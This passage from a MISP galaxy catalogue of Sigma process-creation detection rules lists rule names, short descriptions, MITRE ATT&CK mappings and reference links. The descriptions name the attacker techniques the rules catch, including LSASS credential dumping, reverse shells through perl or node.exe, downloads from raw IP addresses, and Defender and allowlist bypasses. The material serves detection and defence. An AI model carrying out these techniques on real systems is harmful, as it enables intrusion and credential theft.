Detects creation of an ad-hoc Cloudflare Quick Tunnel, which can be used to tunnel local services such as HTTP, RDP, SSH and SMB. The free TryCloudflare Quick Tunnel will generate a random subdomain on trycloudflare[.]com, following a call to api[.]trycloudflare[.]com. The tool has been observed in use by threat groups including Akira ransomware.

The tag is: *misp-galaxy:sigma-rules="Cloudflared Quick Tunnel Execution"*

View relationships graph

Cloudflared Quick Tunnel Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 15490. Table References

Links
https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/
https://github.com/cloudflare/cloudflared
https://www.intrinsec.com/akira_ransomware/
https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_quicktunnel_execution.yml

HackTool - Default PowerSploit/Empire Scheduled Task Creation

Detects the creation of a schtask via PowerSploit or Empire Default Configuration.

The tag is: *misp-galaxy:sigma-rules="HackTool - Default PowerSploit/Empire Scheduled Task Creation"*

View relationships graph

HackTool - Default PowerSploit/Empire Scheduled Task Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15491. Table References

Links
https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py
https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powersploit_empire_default_schtasks.yml

Discovery of a System Time

Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.

The tag is: *misp-galaxy:sigma-rules="Discovery of a System Time"*

View relationships graph

Discovery of a System Time has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 15492. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md
https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml

PowerShell Download Pattern

Detects a Powershell process that contains download commands in its command line string

The tag is: *misp-galaxy:sigma-rules="PowerShell Download Pattern"*

View relationships graph

PowerShell Download Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15493. Table References

Links
https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html
https://hatching.io/blog/powershell-analysis/
https://lab52.io/blog/winter-vivern-all-summer/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml

File Download From IP Based URL Via CertOC.EXE

Detects when a user downloads a file from an IP based URL using CertOC.exe

The tag is: *misp-galaxy:sigma-rules="File Download From IP Based URL Via CertOC.EXE"*

View relationships graph

File Download From IP Based URL Via CertOC.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15494. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Certoc/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_download_direct_ip.yml

PUA - Adidnsdump Execution

This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed, Usee to Query/modify DNS records for Active Directory integrated DNS via LDAP

The tag is: *misp-galaxy:sigma-rules="PUA - Adidnsdump Execution"*

View relationships graph

PUA - Adidnsdump Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 15495. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_adidnsdump.yml

Suspicious Csi.exe Usage

Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'

The tag is: *misp-galaxy:sigma-rules="Suspicious Csi.exe Usage"*

View relationships graph

Suspicious Csi.exe Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15496. Table References

Links
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
https://twitter.com/Z3Jpa29z/status/1317545798981324801
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csi_execution.yml

HackTool - Stracciatella Execution

Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.

The tag is: *misp-galaxy:sigma-rules="HackTool - Stracciatella Execution"*

View relationships graph

HackTool - Stracciatella Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15497. Table References

Links
https://github.com/mgeeky/Stracciatella
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_stracciatella_execution.yml

Potential Unquoted Service Path Reconnaissance Via Wmic.EXE

Detects known WMI recon method to look for unquoted service paths using wmic. Often used by pentester and attacker enumeration scripts

The tag is: *misp-galaxy:sigma-rules="Potential Unquoted Service Path Reconnaissance Via Wmic.EXE"*

View relationships graph

Potential Unquoted Service Path Reconnaissance Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15498. Table References

Links
https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_unquoted_service_search.yml

WinRAR Execution in Non-Standard Folder

Detects a suspicious WinRAR execution in a folder which is not the default installation folder

The tag is: *misp-galaxy:sigma-rules="WinRAR Execution in Non-Standard Folder"*

View relationships graph

WinRAR Execution in Non-Standard Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 15499. Table References

Links
https://twitter.com/cyb3rops/status/1460978167628406785
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrar_uncommon_folder_execution.yml

HackTool - Koadic Execution

Detects command line parameters used by Koadic hack tool

The tag is: *misp-galaxy:sigma-rules="HackTool - Koadic Execution"*

View relationships graph

HackTool - Koadic Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 15500. Table References

Links
https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/
https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/
https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_koadic.yml

Potential Binary Proxy Execution Via Cdb.EXE

Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file

The tag is: *misp-galaxy:sigma-rules="Potential Binary Proxy Execution Via Cdb.EXE"*

View relationships graph

Potential Binary Proxy Execution Via Cdb.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15501. Table References

Links
https://twitter.com/nas_bench/status/1534957360032120833
https://web.archive.org/web/20170715043507/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cdb_arbitrary_command_execution.yml

Potential Windows Defender AV Bypass Via Dump64.EXE Rename

Detects when a user is potentially trying to bypass the Windows Defender AV by renaming a tool to dump64.exe and placing it in the Visual Studio folder. Currently the rule is covering only usage of procdump but other utilities can be added in order to increase coverage.

The tag is: *misp-galaxy:sigma-rules="Potential Windows Defender AV Bypass Via Dump64.EXE Rename"*

View relationships graph

Potential Windows Defender AV Bypass Via Dump64.EXE Rename has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15502. Table References

Links
https://twitter.com/mrd0x/status/1460597833917251595
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dump64_defender_av_bypass_rename.yml

Registry Export of Third-Party Credentials

Detects the use of reg.exe to export registry paths associated with third-party credentials. Credential stealers have been known to use this technique to extract sensitive information from the registry.

The tag is: *misp-galaxy:sigma-rules="Registry Export of Third-Party Credentials"*

View relationships graph

Registry Export of Third-Party Credentials has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 15503. Table References

Links
https://www.virustotal.com/gui/file/fdc86a5b3d7df37a72c3272836f743747c47bfbc538f05af9ecf78547fa2e789/behavior
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_export_of_thirdparty_creds.yml

Suspicious Regsvr32 Execution From Remote Share

Detects REGSVR32.exe to execute DLL hosted on remote shares

The tag is: *misp-galaxy:sigma-rules="Suspicious Regsvr32 Execution From Remote Share"*

View relationships graph

Suspicious Regsvr32 Execution From Remote Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15504. Table References

Links
https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_remote_share.yml

HackTool - Inveigh Execution

Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool

The tag is: *misp-galaxy:sigma-rules="HackTool - Inveigh Execution"*

View relationships graph

HackTool - Inveigh Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15505. Table References

Links
https://github.com/Kevin-Robertson/Inveigh
https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_inveigh.yml

Suspicious Process Parents

Detects suspicious parent processes that should not have any children or should only have a single possible child program

The tag is: *misp-galaxy:sigma-rules="Suspicious Process Parents"*

View relationships graph

Suspicious Process Parents has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15506. Table References

Links
https://twitter.com/x86matthew/status/1505476263464607744?s=12
https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml

Regsvr32 DLL Execution With Uncommon Extension

Detects a "regsvr32" execution where the DLL doesn't contain a common file extension.

The tag is: *misp-galaxy:sigma-rules="Regsvr32 DLL Execution With Uncommon Extension"*

View relationships graph

Regsvr32 DLL Execution With Uncommon Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

Table 15507. Table References

Links
https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_uncommon_extension.yml

Potentially Suspicious Cabinet File Expansion

Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Cabinet File Expansion"*

View relationships graph

Potentially Suspicious Cabinet File Expansion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15508. Table References

Links
https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll
https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml

PUA - AdFind.EXE Execution

Detects execution of Adfind.exe utility, which can be used for reconnaissance in an Active Directory environment

The tag is: *misp-galaxy:sigma-rules="PUA - AdFind.EXE Execution"*

View relationships graph

PUA - AdFind.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 15509. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md
https://www.joeware.net/freetools/tools/adfind/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_execution.yml

Notepad Password Files Discovery

Detects the execution of Notepad to open a file that has the string "password" which may indicate unauthorized access to credentials or suspicious activity.

The tag is: *misp-galaxy:sigma-rules="Notepad Password Files Discovery"*

View relationships graph

Notepad Password Files Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 15510. Table References

Links
https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/
https://intel.thedfirreport.com/eventReports/view/57
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_notepad_local_passwd_discovery.yml

Perl Inline Command Execution

Detects execution of perl using the "-e"/"-E" flags. This is could be used as a way to launch a reverse shell or execute live perl code.

The tag is: *misp-galaxy:sigma-rules="Perl Inline Command Execution"*

View relationships graph

Perl Inline Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15511. Table References

Links
https://www.revshells.com/
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_perl_inline_command_execution.yml

Domain Trust Discovery Via Dsquery

Detects execution of "dsquery.exe" for domain trust discovery

The tag is: *misp-galaxy:sigma-rules="Domain Trust Discovery Via Dsquery"*

View relationships graph

Domain Trust Discovery Via Dsquery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 15512. Table References

Links
https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb?gi=41b97a644843
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsquery_domain_trust_discovery.yml

Potentially Suspicious Child Process of KeyScrambler.exe

Detects potentially suspicious child processes of KeyScrambler.exe

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Child Process of KeyScrambler.exe"*

View relationships graph

Potentially Suspicious Child Process of KeyScrambler.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with

estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 15513. Table References

Links
https://twitter.com/DTCERT/status/1712785421845790799
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_keyscrambler_susp_child_process.yml

Windows Default Domain GPO Modification via GPME

Detects the use of the Group Policy Management Editor (GPME) to modify Default Domain or Default Domain Controllers Group Policy Objects (GPOs). Adversaries may leverage GPME to make stealthy changes in these default GPOs to deploy malicious GPOs configurations across the domain without raising suspicion.

The tag is: *misp-galaxy:sigma-rules="Windows Default Domain GPO Modification via GPME"*

View relationships graph

Windows Default Domain GPO Modification via GPME has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"

Table 15514. Table References

Links
https://www.pentestpartners.com/security-blog/living-off-the-land-gpo-style/
https://adsecurity.org/?p=3377
https://www.trendmicro.com/en_us/research/25/i/unmasking-the-gentlemen-ransomware.html
https://sdmsoftware.com/general-stuff/launching-the-new-gp-management-editor-from-the-command-line/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_default_domain_gpo_modification_via_gpme.yml

HackTool - CrackMapExec PowerShell Obfuscation

The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.

The tag is: *misp-galaxy:sigma-rules="HackTool - CrackMapExec PowerShell Obfuscation"*

View relationships graph

HackTool - CrackMapExec PowerShell Obfuscation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

Table 15515. Table References

Links
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_powershell_obfuscation.yml

Time Travel Debugging Utility Usage

Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.

The tag is: *misp-galaxy:sigma-rules="Time Travel Debugging Utility Usage"*

View relationships graph

Time Travel Debugging Utility Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15516. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Tttracer/
https://twitter.com/oulusoyum/status/1191329746069655553
https://twitter.com/mattifestation/status/1196390321783025666
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml

Potential LSASS Process Dump Via Procdump

Detects potential credential harvesting attempts through LSASS memory dumps using ProcDump. This rule identifies suspicious command-line patterns that combine memory dump flags (-ma, -mm, -mp) with LSASS-related process markers. LSASS (Local Security Authority Subsystem Service)

contains sensitive authentication data including plaintext passwords, NTLM hashes, and Kerberos tickets in memory. Attackers commonly dump LSASS memory to extract credentials for lateral movement and privilege escalation.

The tag is: *misp-galaxy:sigma-rules="Potential LSASS Process Dump Via Procdump"*

View relationships graph

Potential LSASS Process Dump Via Procdump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15517. Table References

Links
https://x.com/wietze/status/1958302556033065292?s=12
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
https://research.splunk.com/endpoint/3742ebfe-64c2-11eb-ae93-0242ac130002
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump_lsass.yml

Potential Remote Desktop Tunneling

Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.

The tag is: *misp-galaxy:sigma-rules="Potential Remote Desktop Tunneling"*

View relationships graph

Potential Remote Desktop Tunneling has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 15518. Table References

Links
https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_remote_desktop_tunneling.yml

Tasks Folder Evasion

The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr

The tag is: *misp-galaxy:sigma-rules="Tasks Folder Evasion"*

View relationships graph

Tasks Folder Evasion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 15519. Table References

Links
https://twitter.com/subTee/status/1216465628946563073
https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_task_folder_evasion.yml

Suspicious Service Binary Directory

Detects a service binary running in a suspicious directory

The tag is: *misp-galaxy:sigma-rules="Suspicious Service Binary Directory"*

View relationships graph

Suspicious Service Binary Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15520. Table References

Links
https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl

Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied

cscript.exe (can be renamed)

The tag is: *misp-galaxy:sigma-rules="AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl"*

View relationships graph

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15521. Table References

Links
https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml

Add New Download Source To Winget

Detects usage of winget to add new additional download sources

The tag is: *misp-galaxy:sigma-rules="Add New Download Source To Winget"*

View relationships graph

Add New Download Source To Winget has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15522. Table References

Links
https://learn.microsoft.com/en-us/windows/package-manager/winget/source
https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_custom_source.yml

Uncommon Sigverif.EXE Child Process

Detects uncommon child processes spawning from "sigverif.exe", which could indicate potential abuse of the latter as a living of the land binary in order to proxy execution.

The tag is: *misp-galaxy:sigma-rules="Uncommon Sigverif.EXE Child Process"*

View relationships graph

Uncommon Sigverif.EXE Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15523. Table References

Links
https://www.hexacorn.com/blog/2018/04/27/i-shot-the-sigverif-exe-the-gui-based-lolbin/
https://twitter.com/0gtweet/status/1457676633809330184
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sigverif_uncommon_child_process.yml

HackTool - Wmiexec Default Powershell Command

Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script

The tag is: *misp-galaxy:sigma-rules="HackTool - Wmiexec Default Powershell Command"*

Table 15524. Table References

Links
https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wmiexec_default_powershell.yml

Potential Tampering With RDP Related Registry Keys Via Reg.EXE

Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values

The tag is: *misp-galaxy:sigma-rules="Potential Tampering With RDP Related Registry Keys Via Reg.EXE"*

View relationships graph

Potential Tampering With RDP Related Registry Keys Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15525. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/dd526047b8c399c312fee47d1e6fb531164da54d/atomics/T1112/T1112.yaml#L790
http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/
https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services
https://github.com/redcanaryco/atomic-red-team/blob/02c7d02fe1f1feb0fc7944550408ea8224273994/atomics/T1112/T1112.md#atomic-test-64---disable-remote-desktop-security-settings-through-registry
https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03
https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/
http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/
https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/
https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-rdp-winstationextensions-securitylayer
https://github.com/redcanaryco/atomic-red-team/blob/02c7d02fe1f1feb0fc7944550408ea8224273994/atomics/T1112/T1112.md#atomic-test-63---disable-remote-desktop-anti-alias-setting-through-registry
https://www.trendmicro.com/en_us/research/25/i/unmasking-the-gentlemen-ransomware.html
https://web.archive.org/web/20200929062532/https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html
https://blog.sekoia.io/darkgate-internals/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_rdp_keys_tamper.yml

Potential Arbitrary Code Execution Via Node.EXE

Detects the execution node.exe which is shipped with multiple software such as VMware, Adobe…etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks…etc

The tag is: *misp-galaxy:sigma-rules="Potential Arbitrary Code Execution Via Node.EXE"*

View relationships graph

Potential Arbitrary Code Execution Via Node.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15526. Table References

Links
https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://nodejs.org/api/cli.html
https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml

Suspicious File Download From IP Via Curl.EXE

Detects potentially suspicious file downloads directly from IP addresses using curl.exe

The tag is: *misp-galaxy:sigma-rules="Suspicious File Download From IP Via Curl.EXE"*

Table 15527. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt
https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_susp_extensions.yml

Potential Amazon SSM Agent Hijacking

